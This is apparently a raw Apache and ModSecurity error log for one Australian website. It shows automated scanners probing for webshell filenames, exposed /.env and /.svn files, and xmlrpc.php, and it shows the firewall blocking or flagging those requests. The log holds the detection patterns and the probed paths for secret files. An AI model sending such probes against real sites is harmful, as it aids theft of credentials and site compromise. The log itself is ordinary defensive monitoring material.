[Wed Mar 04 01:53:40.708880 2026] [:error] [pid 48407:tid 48689] [client 20.127.131.187:27985] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aacgJD7Td6SiHn8fwfnbLwAAAIA"]
[Wed Mar 04 01:53:41.561673 2026] [:error] [pid 48406:tid 48675] [client 20.127.131.187:28042] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aacgJTStn8zJHlZMxFgahwAAAE0"]
[Wed Mar 04 01:53:42.484677 2026] [:error] [pid 48407:tid 48706] [client 20.127.131.187:27969] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aacgJj7Td6SiHn8fwfnbMgAAAI8"]
[Wed Mar 04 03:38:35.963065 2026] [proxy_fcgi:error] [pid 14052:tid 14077] [client 52.179.195.24:19413] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 03:38:36.175258 2026] [proxy_fcgi:error] [pid 14052:tid 14069] [client 52.179.195.24:19413] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 03:38:36.608055 2026] [proxy_fcgi:error] [pid 14052:tid 14079] [client 52.179.195.24:19413] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 03:38:36.832570 2026] [proxy_fcgi:error] [pid 14052:tid 14078] [client 52.179.195.24:19413] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 03:38:37.257294 2026] [proxy_fcgi:error] [pid 14052:tid 14072] [client 52.179.195.24:19413] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 03:38:37.471970 2026] [proxy_fcgi:error] [pid 14052:tid 14059] [client 52.179.195.24:19413] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 03:38:37.684754 2026] [proxy_fcgi:error] [pid 14052:tid 14063] [client 52.179.195.24:19413] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 03:38:38.124010 2026] [:error] [pid 14052:tid 14070] [client 52.179.195.24:19413] [client 52.179.195.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aac4vnvGZB0eU0P5_AtIVgAAAM4"]
[Wed Mar 04 03:38:38.981284 2026] [:error] [pid 14052:tid 14068] [client 52.179.195.24:19435] [client 52.179.195.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aac4vnvGZB0eU0P5_AtIWwAAAMw"]
[Wed Mar 04 03:38:39.840749 2026] [:error] [pid 14052:tid 14064] [client 52.179.195.24:19423] [client 52.179.195.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aac4v3vGZB0eU0P5_AtIYAAAAMg"]
[Wed Mar 04 03:38:40.660105 2026] [:error] [pid 13889:tid 13969] [client 52.179.195.24:19397] [client 52.179.195.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aac4wA9JNV1nAmD7LEfRgwAAAJU"]
[Wed Mar 04 06:25:56.373919 2026] [:error] [pid 54487:tid 54493] [client 146.70.174.229:63068] [client 146.70.174.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aadf9PN8030QMpFXdds6TwAAAQQ"]
[Wed Mar 04 09:50:44.562731 2026] [:error] [pid 18554:tid 18603] [client 45.86.202.187:56903] [client 45.86.202.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aaeP9J0fKmKeTIK7QS05mQAAAEs"]
[Wed Mar 04 11:43:10.916866 2026] [proxy_fcgi:error] [pid 45947:tid 46056] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:11.128461 2026] [proxy_fcgi:error] [pid 45947:tid 46035] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:11.339408 2026] [proxy_fcgi:error] [pid 45947:tid 46048] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:11.550174 2026] [proxy_fcgi:error] [pid 45947:tid 46040] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:11.753487 2026] [proxy_fcgi:error] [pid 45947:tid 46034] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:11.957743 2026] [proxy_fcgi:error] [pid 45947:tid 46043] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:12.162677 2026] [proxy_fcgi:error] [pid 45947:tid 46047] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:12.366522 2026] [proxy_fcgi:error] [pid 45947:tid 46053] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:12.571485 2026] [proxy_fcgi:error] [pid 45947:tid 46052] [client 137.116.32.109:58431] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 11:43:12.976182 2026] [:error] [pid 45947:tid 46044] [client 137.116.32.109:58431] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aaeqUEQXEtszYKy6savdpwAAAUw"]
[Wed Mar 04 11:43:13.377895 2026] [:error] [pid 18554:tid 18598] [client 137.116.32.109:45989] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aaeqUZ0fKmKeTIK7QS2DewAAAEY"]
[Wed Mar 04 11:43:13.777445 2026] [:error] [pid 18554:tid 18592] [client 137.116.32.109:45991] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aaeqUZ0fKmKeTIK7QS2DfwAAAEA"]
[Wed Mar 04 11:43:14.177087 2026] [:error] [pid 45947:tid 46032] [client 137.116.32.109:48332] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "aaeqUkQXEtszYKy6savdqQAAAUQ"]
[Wed Mar 04 11:43:14.576805 2026] [:error] [pid 45947:tid 46043] [client 137.116.32.109:53838] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-theme.php"] [unique_id "aaeqUkQXEtszYKy6savdrQAAAUs"]
[Wed Mar 04 11:43:14.975600 2026] [:error] [pid 18681:tid 18693] [client 137.116.32.109:45958] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-theme.php"] [unique_id "aaeqUqE_TuZYUBveWkUTtAAAAMo"]
[Wed Mar 04 11:43:15.386898 2026] [:error] [pid 45947:tid 46035] [client 137.116.32.109:58398] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-file.php"] [unique_id "aaeqU0QXEtszYKy6savdtAAAAUc"]
[Wed Mar 04 11:43:15.786955 2026] [:error] [pid 54487:tid 54508] [client 137.116.32.109:65442] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-file.php"] [unique_id "aaeqU_N8030QMpFXdds9VwAAARM"]
[Wed Mar 04 11:43:16.186451 2026] [:error] [pid 18555:tid 18637] [client 137.116.32.109:45455] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-file.php"] [unique_id "aaeqVDQeUDANiOsQ3GfCwgAAAJI"]
[Wed Mar 04 11:43:16.585020 2026] [:error] [pid 45947:tid 46030] [client 137.116.32.109:45464] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-file.php"] [unique_id "aaeqVEQXEtszYKy6savdvAAAAUI"]
[Wed Mar 04 11:43:16.983078 2026] [:error] [pid 54487:tid 54498] [client 137.116.32.109:65438] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aaeqVPN8030QMpFXdds9WQAAAQk"]
[Wed Mar 04 11:43:17.383405 2026] [:error] [pid 18681:tid 18700] [client 137.116.32.109:45442] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aaeqVaE_TuZYUBveWkUTtgAAANE"]
[Wed Mar 04 11:43:17.782951 2026] [:error] [pid 18554:tid 18599] [client 137.116.32.109:50634] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aaeqVZ0fKmKeTIK7QS2DigAAAEc"]
[Wed Mar 04 11:43:18.180904 2026] [:error] [pid 45947:tid 46056] [client 137.116.32.109:65422] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/main.php"] [unique_id "aaeqVkQXEtszYKy6savdwQAAAVg"]
[Wed Mar 04 11:43:18.579794 2026] [:error] [pid 45947:tid 46043] [client 137.116.32.109:45441] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaeqVkQXEtszYKy6savdxAAAAUs"]
[Wed Mar 04 11:43:18.979208 2026] [:error] [pid 18554:tid 18593] [client 137.116.32.109:48383] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaeqVp0fKmKeTIK7QS2DkgAAAEE"]
[Wed Mar 04 11:43:19.378298 2026] [:error] [pid 45947:tid 46031] [client 137.116.32.109:58370] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaeqV0QXEtszYKy6savdyAAAAUM"]
[Wed Mar 04 11:43:19.780671 2026] [:error] [pid 18554:tid 18602] [client 137.116.32.109:28926] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaeqV50fKmKeTIK7QS2DmAAAAEo"]
[Wed Mar 04 11:43:20.180543 2026] [:error] [pid 54487:tid 54497] [client 137.116.32.109:45992] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaeqWPN8030QMpFXdds9YAAAAQg"]
[Wed Mar 04 11:43:20.579811 2026] [:error] [pid 45947:tid 46055] [client 137.116.32.109:53831] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaeqWEQXEtszYKy6savdzQAAAVc"]
[Wed Mar 04 11:43:20.982057 2026] [:error] [pid 18681:tid 18704] [client 137.116.32.109:65452] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaeqWKE_TuZYUBveWkUTvAAAANU"]
[Wed Mar 04 11:43:21.384606 2026] [:error] [pid 54487:tid 54498] [client 137.116.32.109:58407] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aaeqWfN8030QMpFXdds9ZAAAAQk"]
[Wed Mar 04 11:43:21.783997 2026] [:error] [pid 54487:tid 54494] [client 137.116.32.109:65463] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aaeqWfN8030QMpFXdds9ZgAAAQU"]
[Wed Mar 04 11:43:22.183483 2026] [:error] [pid 18681:tid 18689] [client 137.116.32.109:45975] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aaeqWqE_TuZYUBveWkUTvwAAAMY"]
[Wed Mar 04 11:43:22.583278 2026] [:error] [pid 18681:tid 18690] [client 137.116.32.109:50636] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aaeqWqE_TuZYUBveWkUTwgAAAMc"]
[Wed Mar 04 11:43:22.981649 2026] [:error] [pid 18681:tid 18688] [client 137.116.32.109:29678] [client 137.116.32.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aaeqWqE_TuZYUBveWkUTxAAAAMU"]
[Wed Mar 04 11:49:00.005083 2026] [:error] [pid 18554:tid 18615] [client 152.233.20.86:33875] [client 152.233.20.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aaerrJ0fKmKeTIK7QS2HgwAAAFc"]
[Wed Mar 04 12:02:45.913255 2026] [:error] [pid 18554:tid 18607] [client 126.159.39.191:54601] [client 126.159.39.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 126.159.39.191, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaeu5Z0fKmKeTIK7QS2QOwAAAE8"]
[Wed Mar 04 12:02:45.926872 2026] [proxy_fcgi:error] [pid 18554:tid 18607] [client 126.159.39.191:54601] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 12:10:30.114149 2026] [:error] [pid 18555:tid 18633] [client 62.164.177.15:53870] [client 62.164.177.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.svn/wc.db"] [unique_id "aaewtjQeUDANiOsQ3GfGzwAAAI4"]
[Wed Mar 04 13:01:32.998268 2026] [:error] [pid 54487:tid 54498] [client 43.228.157.73:51184] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aae8rPN8030QMpFXddtdcwAAAQk"]
[Wed Mar 04 13:01:33.579293 2026] [:error] [pid 18681:tid 18697] [client 43.228.157.73:51316] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aae8raE_TuZYUBveWkUoVwAAAM4"]
[Wed Mar 04 13:01:34.234367 2026] [:error] [pid 54487:tid 54503] [client 43.228.157.73:51523] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aae8rvN8030QMpFXddtdjQAAAQ4"]
[Wed Mar 04 13:01:34.836403 2026] [:error] [pid 18554:tid 18615] [client 43.228.157.73:51727] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aae8rp0fKmKeTIK7QS3LGgAAAFc"]
[Wed Mar 04 13:01:35.410350 2026] [:error] [pid 45947:tid 46028] [client 43.228.157.73:51942] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aae8r0QXEtszYKy6sasUawAAAUA"]
[Wed Mar 04 17:36:36.082259 2026] [:error] [pid 63356:tid 63368] [client 78.109.74.148:43424] [client 78.109.74.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.74.148, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaf9JM5gxyQKbLIoyf_NfQAAAEo"]
[Wed Mar 04 17:36:36.096106 2026] [proxy_fcgi:error] [pid 63356:tid 63368] [client 78.109.74.148:43424] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 17:38:43.385500 2026] [:error] [pid 63259:tid 63318] [client 103.127.21.18:53784] [client 103.127.21.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.127.21.18, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaf9o5Ydi0T768Nnor6rJgAAARY"]
[Wed Mar 04 17:38:43.398905 2026] [proxy_fcgi:error] [pid 63259:tid 63318] [client 103.127.21.18:53784] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 17:42:36.354974 2026] [:error] [pid 63356:tid 63373] [client 93.141.9.161:58774] [client 93.141.9.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.141.9.161, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaf-jM5gxyQKbLIoyf_SNgAAAE8"]
[Wed Mar 04 17:42:36.372886 2026] [proxy_fcgi:error] [pid 63356:tid 63373] [client 93.141.9.161:58774] AH01071: Got error 'Primary script unknown'
[Thu Mar 05 01:42:48.840466 2026] [:error] [pid 27814:tid 27876] [client 64.227.174.132:52158] [client 64.227.174.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "aahvGLPcbh1BHIHQb9Jz-QAAAMM"]
[Thu Mar 05 01:42:48.840498 2026] [:error] [pid 26966:tid 27016] [client 64.227.174.132:52166] [client 64.227.174.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lara/.env"] [unique_id "aahvGBaIQuoePO_dwgc6WgAAAEM"]
[Thu Mar 05 01:42:48.977914 2026] [:error] [pid 27472:tid 27535] [client 64.227.174.132:52152] [client 64.227.174.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aahvGLt7N-W1OaN6b8rb2gAAAYQ"]
[Thu Mar 05 01:49:16.690909 2026] [:error] [pid 27814:tid 27897] [client 223.219.229.231:60872] [client 223.219.229.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.219.229.231, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aahwnLPcbh1BHIHQb9J3eAAAANc"]
[Thu Mar 05 01:49:16.701917 2026] [proxy_fcgi:error] [pid 27814:tid 27897] [client 223.219.229.231:60872] AH01071: Got error 'Primary script unknown'
